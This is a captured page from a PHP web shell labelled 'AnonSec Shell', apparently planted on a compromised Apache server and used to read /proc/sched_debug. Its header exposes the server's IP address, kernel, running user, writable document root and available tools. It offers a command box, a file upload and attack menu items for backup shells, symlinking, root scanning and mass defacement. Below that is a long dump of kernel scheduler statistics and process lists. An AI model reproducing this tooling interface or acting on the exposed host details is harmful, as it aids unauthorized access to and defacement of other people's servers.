AnonSec Shell
Server IP : 52.91.253.208  /  Your IP : 18.116.67.70   [ Reverse IP ]
Web Server : Apache
System : Linux ip-172-26-9-9 4.19.0-25-cloud-amd64 #1 SMP Debian 4.19.289-1 (2023-07-24) x86_64
User : daemon ( 1)
PHP Version : 7.3.18
Disable Function : NONE
Domains : 3 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /proc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /proc/sched_debug
Sched Debug Version: v0.11, 4.19.0-25-cloud-amd64 #1
ktime                                   : 1255504684.682806
sched_clk                               : 1255493325.528422
cpu_clk                                 : 1255492918.701208
jiffies                                 : 4608768411
sched_clock_stable()                    : 1

sysctl_sched
  .sysctl_sched_latency                    : 12.000000
  .sysctl_sched_min_granularity            : 1.500000
  .sysctl_sched_wakeup_granularity         : 2.000000
  .sysctl_sched_child_runs_first           : 0
  .sysctl_sched_features                   : 4118331
  .sysctl_sched_tunable_scaling            : 1 (logaritmic)

cpu#0, 2499.996 MHz
  .nr_running                    : 1
  .load                          : 1048576
  .nr_switches                   : 705709543
  .nr_load_updates               : 153753799
  .nr_uninterruptible            : 656
  .next_balance                  : 4608.768401
  .curr->pid                     : 15474
  .clock                         : 1255492918.304154
  .clock_task                    : 1255492918.304154
  .cpu_load[0]                   : 12
  .cpu_load[1]                   : 6
  .cpu_load[2]                   : 3
  .cpu_load[3]                   : 2
  .cpu_load[4]                   : 1
  .avg_idle                      : 892665
  .max_idle_balance_cost         : 500000

cfs_rq[0]:/
  .exec_clock                    : 0.000000
  .MIN_vruntime                  : 0.000001
  .min_vruntime                  : 111265266.365080
  .max_vruntime                  : 0.000001
  .spread                        : 0.000000
  .spread0                       : 0.000000
  .nr_spread_over                : 0
  .nr_running                    : 1
  .load                          : 1048576
  .runnable_weight               : 1048576
  .load_avg                      : 41
  .runnable_load_avg             : 12
  .util_avg                      : 31
  .util_est_enqueued             : 21
  .removed.load_avg              : 0
  .removed.util_avg              : 0
  .removed.runnable_sum          : 0
  .tg_load_avg_contrib           : 0
  .tg_load_avg                   : 0
  .throttled                     : 0
  .throttle_count                : 0

rt_rq[0]:
  .rt_nr_running                 : 0
  .rt_nr_migratory               : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 950.000000

dl_rq[0]:
  .dl_nr_running                 : 0
  .dl_nr_migratory               : 0
  .dl_bw->bw                     : 996147
  .dl_bw->total_bw               : 0

runnable tasks:
 S           task   PID         tree-key  switches  prio     wait-time             sum-exec        sum-sleep
-----------------------------------------------------------------------------------------------------------
 I         rcu_gp     3        13.987511         2   100         0.000000         0.003175         0.000000 0 0 /
 I     rcu_par_gp     4        15.987883         2   100         0.000000         0.001730         0.000000 0 0 /
 I   kworker/0:0H     6      1407.730938         4   100         0.000000         0.125186         0.000000 0 0 /
 I   mm_percpu_wq     8        22.060956         2   100         0.000000         0.007324         0.000000 0 0 /
 S    ksoftirqd/0     9 111265260.369242   3185266   120         0.000000    137167.560829         0.000000 0 0 /
 I         rcu_bh    11        27.997509         2   120         0.000000         0.001098         0.000000 0 0 /
 S    migration/0    12         0.000000   2235330     0         0.000000     24058.772847         0.000000 0 0 /
 S        cpuhp/0    14     45326.286415         8   120         0.000000         0.097477         0.000000 0 0 /
 S     oom_reaper    25        91.587560         2   120         0.000000         0.000000         0.000000 0 0 /
 I      writeback    26        91.587560         2   100         0.000000         0.000000         0.000000 0 0 /
 S           ksmd    28       101.184443         2   125         0.000000         0.000000         0.000000 0 0 /
 S     khugepaged    29 111264706.042642    127852   139         0.000000     13928.509225         0.000000 0 0 /
 I         crypto    30       101.184443         2   100         0.000000         0.000000         0.000000 0 0 /
 I    kintegrityd    31        99.184445         2   100         0.000000         0.000000         0.000000 0 0 /
 S        kswapd0    36 111250964.057565     32844   120         0.000000     37611.619675         0.000000 0 0 /
 I       kthrotld    52       918.197479         2   100         0.000000         0.014507         0.000000 0 0 /
 I          kstrp    62       975.459947         2   100         0.000000         0.016404         0.000000 0 0 /
 I        nvme-wq    98      1118.834330         2   100         0.000000         0.009751         0.000000 0 0 /
 I  nvme-reset-wq    99      1121.839203         2   100         0.000000         0.006528         0.000000 0 0 /
 I            ena   104      1130.021061         2   100         0.000000         1.282565         0.000000 0 0 /
 I   kworker/u5:0   168      1329.758337         2   100         0.000000         0.017376         0.000000 0 0 /
 I   kworker/0:1H   170 111263844.493336    158499   100         0.000000      1305.126226         0.000000 0 0 /
 Sjbd2/nvme0n1p1-   216 111265260.879008   4462484   120         0.000000    134983.534794         0.000000 0 0 /
 Iext4-rsv-conver   217      1528.179631         2   100         0.000000         0.012260         0.000000 0 0 /
 Ssystemd-journal   260 111250429.366423     67344   120         0.000000     32512.878413         0.000000 0 0 /
 S  systemd-udevd   273 111257489.403807     11019   120         0.000000      1798.139892         0.000000 0 0 /
 S        haveged   323      2775.760006        75   120         0.000000       315.476492         0.000000 0 0 /
 S       dhclient   371 111125935.939639      5003   120         0.000000       806.970894         0.000000 0 0 /
 S       rsyslogd   555 111194508.863835      2291   120         0.000000        96.796118         0.000000 0 0 /
 S           cron   557 111255773.371832     21930   120         0.000000      1596.671025         0.000000 0 0 /
 S    dbus-daemon   560 111265035.274747    842535   120         0.000000     89359.968647         0.000000 0 0 /
 S            atd   585 110967152.809748       355   120         0.000000        13.379952         0.000000 0 0 /
 S        chronyd   599      5155.775437         2   120         0.000000         0.628120         0.000000 0 0 /
 S    mysqld_safe  1100     52245.749655       227   120         0.000000        24.698694         0.000000 0 0 /
 S     mysqld.bin  1429 111265260.382417   2510428   120         0.000000     46971.021819         0.000000 0 0 /
 S     mysqld.bin  1431 111265260.392743   2510578   120         0.000000     47737.641467         0.000000 0 0 /
 S     mysqld.bin  1433 111265260.389620   2510527   120         0.000000     47739.252023         0.000000 0 0 /
 S     mysqld.bin  1435 111265260.394223   3417790   120         0.000000     75749.921628         0.000000 0 0 /
 S     mysqld.bin  1436 111265260.387437   2707510   120         0.000000     53751.618503         0.000000 0 0 /
 S     mysqld.bin  1437 111265260.381466   2586250   120         0.000000     50364.296084         0.000000 0 0 /
 S     mysqld.bin  1438 111265260.394318   2329101   120         0.000000    147081.907243         0.000000 0 0 /
 S     mysqld.bin  1442 111265260.690677 124134257   120         0.000000   3196377.150626         0.000000 0 0 /
 S     mysqld.bin  1445 111265260.425978  17728008   120         0.000000    333125.579037         0.000000 0 0 /
 S     mysqld.bin  1446 111265260.518682  16487813   120         0.000000    293924.499075         0.000000 0 0 /
 S     mysqld.bin  1452 111264871.941406    251157   120         0.000000      6158.860790         0.000000 0 0 /
 S     mysqld.bin  1461     52954.516138         3   120         0.000000         0.040664         0.000000 0 0 /
 S     mysqld.bin  1466 111265260.527569  12540698   120         0.000000    371252.389497         0.000000 0 0 /
 S     mysqld.bin  1467  37175005.940746   1781836   120         0.000000     63352.951795         0.000000 0 0 /
 S     mysqld.bin  1471     52954.492559         4   120         0.000000         0.412354         0.000000 0 0 /
 S     mysqld.bin  1473 111265168.778552   1317481   120         0.000000     32398.589994         0.000000 0 0 /
 S     mysqld.bin  1475     52972.726607         1   120         0.000000         0.196661         0.000000 0 0 /
 S     mysqld.bin  2268  37173972.334045   1298931   120         0.000000    338710.773205         0.000000 0 0 /
 S     mysqld.bin 20710  37175011.871492    972442   120         0.000000    258590.616521         0.000000 0 0 /
 S          gonit  1818     55083.884916        20   120         0.000000         5.600337         0.000000 0 0 /
 S          gonit  1820 111250320.243611    124469   120         0.000000      1497.559725         0.000000 0 0 /
 S          gonit  1830     55254.176633        10   120         0.000000         0.993014         0.000000 0 0 /
 S          gonit  1831 111179053.108034     10738   120         0.000000      2164.376664         0.000000 0 0 /
 S          gonit  9229 106924051.659229     13493   120         0.000000      2748.868763         0.000000 0 0 /
 I   kworker/u4:2 16462   5790308.464155     84474   120         0.000000      4448.797099         0.000000 0 0 /
 S        defunct 27977 111265181.056309    899674   120         0.000000     22549.581778         0.000000 0 0 /
 S           bash  1947 111265169.503909   1021392   120         0.000000    463278.121588         0.000000 0 0 /
 S           bash  2250 111264763.543674   1027910   120         0.000000    477906.690640         0.000000 0 0 /
 S   .php-fpm.bin 24782  35618587.928457         1   120         0.000000         0.691451         0.000000 0 0 /
 I    kworker/0:1 27046 111265188.374316    391877   120         0.000000      4672.873885         0.000000 0 0 /
 S   .php-fpm.bin  3957 111265252.100699    721862   120         0.000000     97089.704678         0.000000 0 0 /
 S   .php-fpm.bin 28725 111265121.386822    425042   120         0.000000    220167.594324         0.000000 0 0 /
 I    kworker/0:2  5771 110607939.156817         5   120         0.000000         0.120875         0.000000 0 0 /
>R   .php-fpm.bin 15474 111265261.471730     40019   120         0.000000      6984.601441         0.000000 0 0 /
 S      httpd.bin 25488 111110122.517113        12   120         0.000000         5.757522         0.000000 0 0 /
 S      httpd.bin 25490 111264705.393570       108   120         0.000000        96.451580         0.000000 0 0 /
 S      httpd.bin 25493 111264547.390585       105   120         0.000000        86.263600         0.000000 0 0 /
 S      httpd.bin 25494 111264953.937349       128   120         0.000000       102.851997         0.000000 0 0 /
 S      httpd.bin 25495 111264705.301895       104   120         0.000000       143.606125         0.000000 0 0 /
 S      httpd.bin 25497 111263538.408620        89   120         0.000000        78.972548         0.000000 0 0 /
 S      httpd.bin 25500 111263434.134887       112   120         0.000000        95.894378         0.000000 0 0 /
 S      httpd.bin 25502 111264779.259257       119   120         0.000000       150.406629         0.000000 0 0 /
 S      httpd.bin 25504 111265265.446688        92   120         0.000000       102.844465         0.000000 0 0 /
 S      httpd.bin 25505 111264798.025853        94   120         0.000000        89.374907         0.000000 0 0 /
 S      httpd.bin 25507 111263434.209905        75   120         0.000000        42.672700         0.000000 0 0 /
 S      httpd.bin 25508 111263434.208391        84   120         0.000000        93.172712         0.000000 0 0 /
 S      httpd.bin 25509 111264716.256026       113   120         0.000000       108.233493         0.000000 0 0 /
 S      httpd.bin 25512 111263434.143560        97   120         0.000000        94.678681         0.000000 0 0 /
 S      httpd.bin 25513 111264952.989057       113   120         0.000000        86.898934         0.000000 0 0 /
 S      httpd.bin 25514 111264611.559721       106   120         0.000000       102.030289         0.000000 0 0 /
 S      httpd.bin 25517 111264854.759180        99   120         0.000000       117.417613         0.000000 0 0 /
 S      httpd.bin 25518 111264808.317028       103   120         0.000000        94.812197         0.000000 0 0 /
 S      httpd.bin 25519 111264787.491731        98   120         0.000000       105.172157         0.000000 0 0 /
 S      httpd.bin 25520 111264611.849862        95   120         0.000000       103.709379         0.000000 0 0 /
 S      httpd.bin 25521 111264712.354474        85   120         0.000000        70.246556         0.000000 0 0 /
 S      httpd.bin 25522 111264798.167264       104   120         0.000000        89.769976         0.000000 0 0 /
 S      httpd.bin 25525 111264798.021231        86   120         0.000000        72.273544         0.000000 0 0 /
 S      httpd.bin 25528 111264798.033823        78   120         0.000000        61.824400         0.000000 0 0 /
 S      httpd.bin 25529 111264712.370320        73   120         0.000000        49.179851         0.000000 0 0 /
 S      httpd.bin 25531 111264798.104622        97   120         0.000000        83.775683         0.000000 0 0 /
 S      httpd.bin 25532 111264863.567312        79   120         0.000000        55.345331         0.000000 0 0 /
 S      httpd.bin 25534 111264798.105866        82   120         0.000000        53.292799         0.000000 0 0 /
 S      httpd.bin 25536 111264795.319905        87   120         0.000000        64.257836         0.000000 0 0 /
 S      httpd.bin 25537 111264798.019061        87   120         0.000000        87.586183         0.000000 0 0 /
 S      httpd.bin 25538 111264808.438110        92   120         0.000000        92.428078         0.000000 0 0 /
 S      httpd.bin 25540 111264808.392402        80   120         0.000000        66.671277         0.000000 0 0 /
 S      httpd.bin 25541 111264832.103999        86   120         0.000000        80.540692         0.000000 0 0 /
 S      httpd.bin 25542 111264798.063458        73   120         0.000000        70.864794         0.000000 0 0 /
 S      httpd.bin 25546 111264857.839591       121   120         0.000000       522.454379         0.000000 0 0 /
 S      httpd.bin 25548 111264808.308969        80   120         0.000000        44.557028         0.000000 0 0 /
 S      httpd.bin 25549 111264832.254308        97   120         0.000000        99.818918         0.000000 0 0 /
 S      httpd.bin 25550 111264857.842608       100   120         0.000000        75.458533         0.000000 0 0 /
 S      httpd.bin 25551 111264808.623087       100   120         0.000000        69.475078         0.000000 0 0 /
 S      httpd.bin 25554 111265260.463871      5926   120         0.000000       434.910517         0.000000 0 0 /
 S      rewrite-0 25558 111265250.494636       801   120         0.000000       143.978896         0.000000 0 0 /
 Sslow_work_threa 25663 111264780.088857        53   120         0.000000        77.111009         0.000000 0 0 /
 S      httpd.bin 26017 111265050.166658       124   120         0.000000        92.795899         0.000000 0 0 /
 S      httpd.bin 26019 111264699.805638       150   120         0.000000       133.631567         0.000000 0 0 /
 S      httpd.bin 26023 111264705.383688       118   120         0.000000       111.856247         0.000000 0 0 /
 S      httpd.bin 26024 111264170.684193       129   120         0.000000        94.322435         0.000000 0 0 /
 S      httpd.bin 26025 111264946.978831       159   120         0.000000       128.544674         0.000000 0 0 /
 S      httpd.bin 26026 111264810.038015       144   120         0.000000       106.480274         0.000000 0 0 /
 S      httpd.bin 26028 111264173.459675       114   120         0.000000        78.480254         0.000000 0 0 /
 S      httpd.bin 26031 111264705.390032       112   120         0.000000        91.942789         0.000000 0 0 /
 S      httpd.bin 26032 111264714.694599       162   120         0.000000       147.295862         0.000000 0 0 /
 S      httpd.bin 26033 111265122.206039       133   120         0.000000       111.847478         0.000000 0 0 /
 S      httpd.bin 26044 111264711.454786       137   120         0.000000       120.474696         0.000000 0 0 /
 S      httpd.bin 26045 111264776.795889       135   120         0.000000       110.837577         0.000000 0 0 /
 S      httpd.bin 26049 111264552.662505       180   120         0.000000       239.624667         0.000000 0 0 /
 S      httpd.bin 26051 111264706.208835       101   120         0.000000        60.467155         0.000000 0 0 /
 S      httpd.bin 26053 111264815.618786       136   120         0.000000       294.161188         0.000000 0 0 /
 S      httpd.bin 26054 111264915.538018       121   120         0.000000        96.076903         0.000000 0 0 /
 S      httpd.bin 26059 111265050.107410       149   120         0.000000       164.080762         0.000000 0 0 /
 S      httpd.bin 26061 111264711.517543       139   120         0.000000       106.675040         0.000000 0 0 /
 S      httpd.bin 26070 111264952.614842       126   120         0.000000        96.851199         0.000000 0 0 /
 S      httpd.bin 26071 111265041.321069       124   120         0.000000       107.494280         0.000000 0 0 /
 S      httpd.bin 26072 111265035.252856       136   120         0.000000       126.737274         0.000000 0 0 /
 S      httpd.bin 26073 111264955.587869       117   120         0.000000       105.606957         0.000000 0 0 /
 S      httpd.bin 26076 111265182.125519       142   120         0.000000       130.126290         0.000000 0 0 /
 S      httpd.bin 26077 111265051.029202       115   120         0.000000        69.840632         0.000000 0 0 /
 S      httpd.bin 26079 111264170.769560       129   120         0.000000       125.182391         0.000000 0 0 /
 S      httpd.bin 26080 111264554.780373       122   120         0.000000       129.021102         0.000000 0 0 /
 S      httpd.bin 26081 111265260.456271      6726   120         0.000000       602.572446         0.000000 0 0 /
 S         html-0 26089 111265119.908109      1389   120         0.000000       499.218143         0.000000 0 0 /
 S      httpd.bin 26729 111115693.687505         1   120         0.000000         6.623112         0.000000 0 0 /
 S      httpd.bin 26735 111265051.743863       150   120         0.000000       135.923461         0.000000 0 0 /
 S      httpd.bin 26737 111265029.121381       172   120         0.000000       197.675278         0.000000 0 0 /
 S      httpd.bin 26739 111265250.548997       162   120         0.000000       154.093248         0.000000 0 0 /
 S      httpd.bin 26742 111265031.689367       135   120         0.000000       107.212826         0.000000 0 0 /
 S      httpd.bin 26743 111265181.081574       116   120         0.000000        72.505414         0.000000 0 0 /
 S      httpd.bin 26749 111264867.124302       158   120         0.000000       201.804585         0.000000 0 0 /
 S      httpd.bin 26752 111265053.544142       165   120         0.000000       149.184462         0.000000 0 0 /
 S      httpd.bin 26753 111265119.828977       132   120         0.000000        91.070145         0.000000 0 0 /
 S      httpd.bin 26754 111265119.943931       163   120         0.000000       173.649052         0.000000 0 0 /
 S      httpd.bin 26755 111265251.116553       139   120         0.000000       127.996562         0.000000 0 0 /
 S      httpd.bin 26756 111265119.890417       147   120         0.000000        97.774612         0.000000 0 0 /
 S      httpd.bin 26758 111265266.365080       155   120         0.000000       153.814595         0.000000 0 0 /
 S      httpd.bin 26759 111264824.911972       156   120         0.000000       150.396915         0.000000 0 0 /
 S      httpd.bin 26760 111264945.763712       136   120         0.000000        83.439947         0.000000 0 0 /
 S      httpd.bin 26762 111264838.048617       165   120         0.000000       180.180083         0.000000 0 0 /
 S      httpd.bin 26763 111265035.157141       135   120         0.000000       105.263377         0.000000 0 0 /
 S      httpd.bin 26764 111264963.198090       149   120         0.000000       103.316073         0.000000 0 0 /
 S      httpd.bin 26765 111265028.843468       138   120         0.000000       160.527851         0.000000 0 0 /
 S      httpd.bin 26766 111265182.512038       118   120         0.000000       101.861772         0.000000 0 0 /
 S      httpd.bin 26767 111264802.168225       142   120         0.000000       190.951147         0.000000 0 0 /
 S      httpd.bin 26768 111265037.905790       154   120         0.000000       159.209069         0.000000 0 0 /
 S      httpd.bin 26773 111264798.117412       119   120         0.000000        90.446609         0.000000 0 0 /
 S      httpd.bin 26775 111265119.945357       151   120         0.000000       168.330721         0.000000 0 0 /
 S      httpd.bin 26776 111265250.311416       133   120         0.000000        86.506920         0.000000 0 0 /
 S      httpd.bin 26781 111264832.272791       153   120         0.000000       173.612582         0.000000 0 0 /
 S      httpd.bin 26782 111265119.829611       154   120         0.000000       164.822647         0.000000 0 0 /
 S      httpd.bin 26784 111264832.054339       147   120         0.000000       119.759966         0.000000 0 0 /
 S      httpd.bin 26785 111265250.305333       142   120         0.000000       166.860326         0.000000 0 0 /
 S      httpd.bin 26787 111265050.966126       175   120         0.000000       307.062087         0.000000 0 0 /
 S      httpd.bin 26790 111265029.990642       150   120         0.000000       171.674499         0.000000 0 0 /
 S      httpd.bin 26791 111265121.577730       163   120         0.000000       259.860634         0.000000 0 0 /
 S      httpd.bin 26792 111265181.163027       159   120         0.000000       196.934781         0.000000 0 0 /
 S      httpd.bin 26793 111265119.829340       156   120         0.000000       125.150301         0.000000 0 0 /
 S         html-0 26802 111265251.687518      1166   120         0.000000       653.315661         0.000000 0 0 /
 S      rewrite-0 10487 111265168.770647       364   120         0.000000        25.486340         0.000000 0 0 /
 S slow_rewrite-0 10488 111170934.480682         7   120         0.000000         0.073568         0.000000 0 0 /
 S          sleep  5203 111265021.823221         1   120         0.000000         0.534057         0.000000 0 0 /
 S          sleep  5271 111265256.263833         1   120         0.000000         0.518890         0.000000 0 0 /

cpu#1, 2499.996 MHz
  .nr_running                    : 0
  .load                          : 0
  .nr_switches                   : 704959794
  .nr_load_updates               : 153719434
  .nr_uninterruptible            : -656
  .next_balance                  : 4608.768400
  .curr->pid                     : 0
  .clock                         : 1255492919.313423
  .clock_task                    : 1255492919.313423
  .cpu_load[0]                   : 0
  .cpu_load[1]                   : 1
  .cpu_load[2]                   : 1
  .cpu_load[3]                   : 1
  .cpu_load[4]                   : 1
  .avg_idle                      : 1000000
  .max_idle_balance_cost         : 500000

cfs_rq[1]:/
  .exec_clock                    : 0.000000
  .MIN_vruntime                  : 0.000001
  .min_vruntime                  : 111869813.804254
  .max_vruntime                  : 0.000001
  .spread                        : 0.000000
  .spread0                       : 604547.439174
  .nr_spread_over                : 0
  .nr_running                    : 0
  .load                          : 0
  .runnable_weight               : 0
  .load_avg                      : 8
  .runnable_load_avg             : 0
  .util_avg                      : 5
  .util_est_enqueued             : 0
  .removed.load_avg              : 0
  .removed.util_avg              : 0
  .removed.runnable_sum          : 0
  .tg_load_avg_contrib           : 0
  .tg_load_avg                   : 0
  .throttled                     : 0
  .throttle_count                : 0

rt_rq[1]:
  .rt_nr_running                 : 0
  .rt_nr_migratory               : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 950.000000

dl_rq[1]:
  .dl_nr_running                 : 0
  .dl_nr_migratory               : 0
  .dl_bw->bw                     : 996147
  .dl_bw->total_bw               : 0

runnable tasks:
 S           task   PID         tree-key  switches  prio     wait-time             sum-exec        sum-sleep
-----------------------------------------------------------------------------------------------------------
 S        systemd     1 111863558.695789     61932   120         0.000000     13149.370082         0.000000 0 0 /
 S       kthreadd     2 111192010.786263       231   120         0.000000         9.068719         0.000000 0 0 /
 I      rcu_sched    10 111869807.900400  33860369   120         0.000000    367036.540077         0.000000 0 0 /
 S        cpuhp/1    15     85597.066067         9   120         0.000000        10.210681         0.000000 0 0 /
 S    migration/1    16         0.000000   2236347     0         0.000000     23994.045120         0.000000 0 0 /
 S    ksoftirqd/1    17 111869801.456442   3049811   120         0.000000    135441.813527         0.000000 0 0 /
 I   kworker/1:0H    19      1117.529690         5   100         0.000000         0.040681         0.000000 0 0 /
 S      kdevtmpfs    20   1184013.075011       127   120         0.000000         2.057993         0.000000 0 0 /
 I          netns    21        31.667022         2   100         0.000000         0.006071         0.000000 0 0 /
 S        kauditd    22   1243467.169879        13   120         0.000000       148.017074         0.000000 0 0 /
 S     khungtaskd    24 111855075.277212     10392   120         0.000000       698.741270         0.000000 0 0 /
 S     kcompactd0    27        56.357363         2   120         0.000000         0.000000         0.000000 0 0 /
 I        kblockd    32        56.405051         2   100         0.000000         0.000000         0.000000 0 0 /
 S      watchdogd    33         0.000000         2     0         0.000000         0.011328         0.000000 0 0 /
 I  ipv6_addrconf    53       184.847518         2   100         0.000000         0.023254         0.000000 0 0 /
 I nvme-delete-wq   100       442.520985         3   100         0.000000         0.012988         0.000000 0 0 /
 I   kworker/1:1H   210 111869328.138746    155713   100         0.000000      1327.672566         0.000000 0 0 /
 S       dhclient   458 111855862.437681    106568   120         0.000000     15088.850144         0.000000 0 0 /
 S    in:imuxsock   588 111855316.257724     60234   120         0.000000      2580.139310         0.000000 0 0 /
 S      in:imklog   589   1243461.174679        38   120         0.000000         3.966449         0.000000 0 0 /
 S  rs:main Q:Reg   591 111855316.266229     57285   120         0.000000      2285.522964         0.000000 0 0 /
 S systemd-logind   558 111869592.835536    422759   120         0.000000     68155.079791         0.000000 0 0 /
 S        chronyd   581 111814582.864546     13637   120         0.000000      1331.118023         0.000000 0 0 /
 Sunattended-upgr   587 111869592.937414    838412   120         0.000000    124147.562540         0.000000 0 0 /
 S     mysqld.bin  1419  37341023.975624     81337   120         0.000000      7549.578471         0.000000 0 0 /
 S     mysqld.bin  1428 111869801.469134   2510469   120         0.000000     47330.494459         0.000000 0 0 /
 S     mysqld.bin  1430 111869807.825697   2510539   120         0.000000     46118.615503         0.000000 0 0 /
 S     mysqld.bin  1432 111869807.828047   2510447   120         0.000000     46928.011474         0.000000 0 0 /
 S     mysqld.bin  1434 111869807.829111   3654871   120         0.000000     84025.010255         0.000000 0 0 /
 S     mysqld.bin  1442 111869808.178707 124134258   120         0.000000   3196377.199482         0.000000 0 0 /
 S     mysqld.bin  1443 111869807.823822  15684444   120         0.000000    305173.002811         0.000000 0 0 /
 S     mysqld.bin  1444 111869807.836743  16783519   120         0.000000    303883.925476         0.000000 0 0 /
 S     mysqld.bin  1447 111869807.814042  16986165   120         0.000000    367008.129899         0.000000 0 0 /
 S     mysqld.bin  1450 111869747.828091   1256023   120         0.000000     31739.436729         0.000000 0 0 /
 S     mysqld.bin  1451 111869747.827180   1255668   120         0.000000     36022.386323         0.000000 0 0 /
 S     mysqld.bin  1455     88745.261146         1   120         0.000000         0.043145         0.000000 0 0 /
 S     mysqld.bin  1456 111869676.278114   1256492   120         0.000000     61073.671568         0.000000 0 0 /
 S     mysqld.bin  1457 111869747.834353    216652   120         0.000000     14295.171554         0.000000 0 0 /
 S     mysqld.bin  1458 111869668.267725    251743   120         0.000000      6815.997882         0.000000 0 0 /
 S    xpl_worker1  1459 111862320.124132     23927   120         0.000000       520.745724         0.000000 0 0 /
 S    xpl_worker0  1460 111862398.578614     23960   120         0.000000       525.150085         0.000000 0 0 /
 S     mysqld.bin  1465     88810.942780         3   120         0.000000         1.543083         0.000000 0 0 /
 S     mysqld.bin  1468  37341178.670007   1015821   120         0.000000     13974.683028         0.000000 0 0 /
 S     mysqld.bin  1469  37341178.668460    872733   120         0.000000      7832.326074         0.000000 0 0 /
 S     mysqld.bin  1470  37341178.667759    660324   120         0.000000      5352.769951         0.000000 0 0 /
 S     mysqld.bin  1472     88907.388250         4   120         0.000000         0.028109         0.000000 0 0 /
 S     mysqld.bin  1970  37334498.124310   1302949   120         0.000000    340525.136374         0.000000 0 0 /
 S     mysqld.bin 14580  37341144.221453   1309951   120         0.000000    341024.186550         0.000000 0 0 /
 S     mysqld.bin 14581  37340355.544628   1303739   120         0.000000    339447.293373         0.000000 0 0 /
 S     mysqld.bin 14988  37334518.898418   1296982   120         0.000000    340179.093985         0.000000 0 0 /
 S   .php-fpm.bin  1494 111869801.473516   1729544   120         0.000000     62982.246167         0.000000 0 0 /
 S   .php-fpm.bin  1495  35684830.259811        48   120         0.000000        18.982028         0.000000 0 0 /
 S      httpd.bin  1501 111869807.849219   1257119   120         0.000000     61470.525156         0.000000 0 0 /
 S          gonit  1822 111787070.820830     10196   120         0.000000      2003.470811         0.000000 0 0 /
 S          gonit  1825    100523.653226         7   120         0.000000         0.065501         0.000000 0 0 /
 S          gonit  1827    100529.676178         7   120         0.000000         0.122412         0.000000 0 0 /
 S          gonit  1828 111855224.188719     14408   120         0.000000      2833.819385         0.000000 0 0 /
 S          gonit  1858 111598077.100644     14647   120         0.000000      2830.000944         0.000000 0 0 /
 S          gonit 23334 111855225.586357     14054   120         0.000000      2822.307690         0.000000 0 0 /
 S          gonit 29016 107546305.298654     13460   120         0.000000      2700.367829         0.000000 0 0 /
 S          gonit  6068 111855224.304751       674   120         0.000000       129.709273         0.000000 0 0 /
 S           sshd  3967 111802976.769401      8420   120         0.000000      1503.313224         0.000000 0 0 /
 S          uuidd  4984   1204271.583232        22   120         0.000000         3.589726         0.000000 0 0 /
 S        php.bin 26590 111869802.179488   3219477   120         0.000000   1424682.344627         0.000000 0 0 /
 S        defunct 27976   5871871.505723         1   120         0.000000         0.122186         0.000000 0 0 /
 S           bash 28666 111869560.761892   1151318   120         0.000000    533445.771775         0.000000 0 0 /
 I   kworker/u4:0  7138 111869801.823513    261161   120         0.000000     21250.730876         0.000000 0 0 /
 S           bash  1623 111869801.786330   1034584   120         0.000000    480302.573407         0.000000 0 0 /
 I    kworker/1:2 27908 111869801.457407   3999044   120         0.000000     33753.082861         0.000000 0 0 /
 S           bash 11979 111869655.934603    692631   120         0.000000    317408.682657         0.000000 0 0 /
 S   .php-fpm.bin  7113 111869750.020564    630611   120         0.000000     83631.127705         0.000000 0 0 /
 S   .php-fpm.bin 31401 111869801.910769    642133   120         0.000000     86227.559919         0.000000 0 0 /
 I    kworker/1:1  5871 111192020.763030         2   120         0.000000         0.002582         0.000000 0 0 /
 S      httpd.bin 25491 111869615.555818       101   120         0.000000       114.214547         0.000000 0 0 /
 S      httpd.bin 25492 111869609.646525       107   120         0.000000       155.164675         0.000000 0 0 /
 S      httpd.bin 25496 111869671.749221        99   120         0.000000        88.134427         0.000000 0 0 /
 S      httpd.bin 25498 111869580.458489       100   120         0.000000        95.378546         0.000000 0 0 /
 S      httpd.bin 25499 111868782.516731        92   120         0.000000        79.999633         0.000000 0 0 /
 S      httpd.bin 25501 111869679.244709        80   120         0.000000        66.393812         0.000000 0 0 /
 S      httpd.bin 25503 111869676.080558        91   120         0.000000        85.396941         0.000000 0 0 /
 S      httpd.bin 25506 111869059.556233       899   120         0.000000       334.765665         0.000000 0 0 /
 S      httpd.bin 25510 111868669.083376        85   120         0.000000        55.046341         0.000000 0 0 /
